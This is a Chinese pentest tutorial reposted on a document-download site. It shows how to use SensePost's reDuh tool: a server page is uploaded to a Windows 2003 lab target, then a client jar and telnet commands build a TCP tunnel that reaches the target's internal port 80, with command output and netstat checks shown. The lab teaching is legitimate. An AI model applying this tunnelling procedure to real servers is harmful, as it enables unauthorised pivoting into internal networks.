付费下载
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
专注APT攻击与防御
/
reDuh简介:
reDuh是sensepost由2008-07年发布,从本质上讲,可以将JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。
BlackHatUSA2008介绍:
/open?id=1AqmtuBnHQJS-FjVHzJMNNWokda048By-
Github:/sensepost/reDuh
攻击机: Debian
Windows7
靶机:19 Windows2003
安装:
root@John:~#gitclone/sensepost/reDuh.git
Cloninginto'reDuh'...
remote:Enumeratingobjects:47,done.
remote:Total47(delta0),reused0(delta0),pack‐reused47
Unpackingobjects:100%(47/47),done.
root@John:~#cdreDuh/
root@John:~/reDuh#ls
README.markdownreDuhClientreDuhServers
靶机执行:
以aspx为demo。
攻击机执行:绑定端口:
root@John:~/reDuh/reDuhClient/dist#java‐jarreDuhClient.jar
http://1
19/reDuh.aspx
[Info]Queryingremotewebpageforusableremoteserviceport
[Info]RemoteRPCportchosenas42000
[Info]AttemptingtostartreDuhfrom19:80/reDuh.aspx.Usingserviceport42000.Pleasewait...
[Info]reDuhClientservicelistenerstartedonlocalport1010
开启新terminal,建立隧道命令如下:
1root@John:~#telnet1010
2Trying...
Connectedto.
Escapecharacteris'^]'.
[createTunnel][本地绑定端口]::[远程端口]
WelcometothereDuhcommandline
>>[createTunnel]30080::80
Successfullyboundlocallytoport30080.Awaitingconnections.
攻击机端口前后对比:
root@John:~#netstat‐ntlp
ActiveInternetconnections(onlyservers)
ProtoRecv‐QSend‐QLocalAddressForeignAddressStatePID/Programname
4
5
6
7
8
tcp00:902:*LISTEN809/vmware‐authdlau
tcp00:22:*LISTEN674/sshd
tcp600:::902:::*LISTEN809/vmware‐authdlau
tcp600:::22:::*LISTEN674/sshdroot@John:~#netstat‐ntlp
9
10
me
11
Active
Proto
Internetconnections(onlyservers)
Recv‐QSend‐QLocalAddressForeignAddressStatePID/Programna
12
tcp00:902:*LISTEN809/vmware‐authdlau
tcp00:22:*LISTEN674/sshd
tcp600:::902:::*LISTEN809/vmware‐authdlau
tcp600:::1010:::*LISTEN6102/java
tcp600:::22:::*LISTEN674/sshd
tcp600:::30080:::*LISTEN6102/java
17
访问攻击机30080端口,既等价于访问靶机80端口
1root@John:~#curl:30080/
2<html>
3
4<head>
5 <metaHTTP‐EQUIV="Content‐Type"Content="text/html;charset=gb2312">
6
7
8<titleID=titletext>建设中</title>
9</head>
1
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026年商水县带编教师招聘考试备考题库及答案解析
- 2026年彭阳县带编教师招聘考试备考题库及答案解析
- 2026年巴彦县带编教师招聘考试模拟试题及答案解析
- 2026年额敏县带编教师招聘笔试参考题库及答案解析
- 2026-2027学年江苏省南通市中考数学押题试卷(含答案解析)
- 2026年元阳县带编教师招聘考试备考题库及答案解析
- 2026年色达县带编教师招聘笔试模拟试题及答案解析
- 2026年咸宁嘉鱼县人民医院急需紧缺专业人才招聘27人笔试备考题库及答案详解
- 2026年红原县带编教师招聘笔试参考题库及答案解析
- 2026年永宁县带编教师招聘考试模拟试题及答案解析
- 2026秋小学科学教科版六年级上册(新教材)教学计划附进度表
- 天下3元魂珠计算器
- 出院小结模板-2
- 运用PDCA循环提高下肢深静脉血栓护理预防措施落实率课件
- 缠论公式(最完美自动画笔公式)主图
- 糖化血红蛋白检查
- 2023年广东广州南沙区万顷沙镇招聘编外人员23人笔试模拟试题及答案解析
- 自动控制理论第四版教案(夏德钤翁贻方版)
- GB/T 9800-1988电镀锌和电镀镉层的铬酸盐转化膜
- GB/T 4604-2006滚动轴承径向游隙
- GB/T 29489-2013高压交流开关设备和控制设备的感性负载开合
评论
0/150
提交评论